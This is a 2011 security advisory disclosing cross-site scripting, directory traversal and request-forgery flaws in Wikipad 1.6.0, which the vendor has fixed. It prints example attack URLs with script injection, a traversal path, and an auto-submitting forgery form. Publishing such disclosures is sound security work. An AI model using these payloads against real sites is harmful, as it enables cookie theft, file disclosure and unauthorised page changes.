Total Tests:

Multiple Vulnerabilities in Wikipad

Advisory ID:HTB22826
Product:Wikipad
Vendor:Cherry-Design
Vulnerable Versions:1.6.0 and probably prior
Tested Version:1.6.0
Advisory Publication:February 1, 2011 [without technical details]
Vendor Notification:February 1, 2011
Public Disclosure:February 15, 2011
Latest Update:February 15, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Path Traversal [CWE-22]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in Wikipad which could be exploited to perform cross-site scripting and cross-site request forgery attacks and disclose potentially sensitive information.

1) Cross-site scripting (XSS) vulnerability in Wikipad
The vulnerability exists due to input sanitation error in the "id" parameter in pages.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://host/pages.php?id=index"><script>alert(document.cookie)</script>
htt p://host/pages.php?action=edit&id=27-01-2011"><script>alert(document.cookie) </script>


2) Directory traversal vulnerability in Wikipad
The vulnerability exists due to insufficient sanitation of input data in pages.php. A remote attacker can read arbitrary files on the target system using directory traversal sequences.
Exploitation example:
http://host/pages.php?id=./../../../../../txt_file

3) Cross-site request forgery (CSRF) vulnerability in Wikipad
The vulnerability exists due to insufficient validation of the request origin in pages.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify arbitrary pages on the target system.
Exploitation example:
<form action="http://host/pages.php?action=edit&id=./../../../../../txt_file&title =test " method="post" name="main">
<input type="hidden" name="data[text]" value='new content"><script>alert(document.cookie)</script>'>
</form>
<script>
docum ent.main.submit ();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Update to the most recent version.


References:
[1] High-Tech Bridge Advisory HTB22826 - https://www.immuniweb.com/advisory/HTB22826 - Multiple Vulnerabilities in Wikipad
[2] Wikipad - cherry-software.spb.ru - Wikipad is an online notebook.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential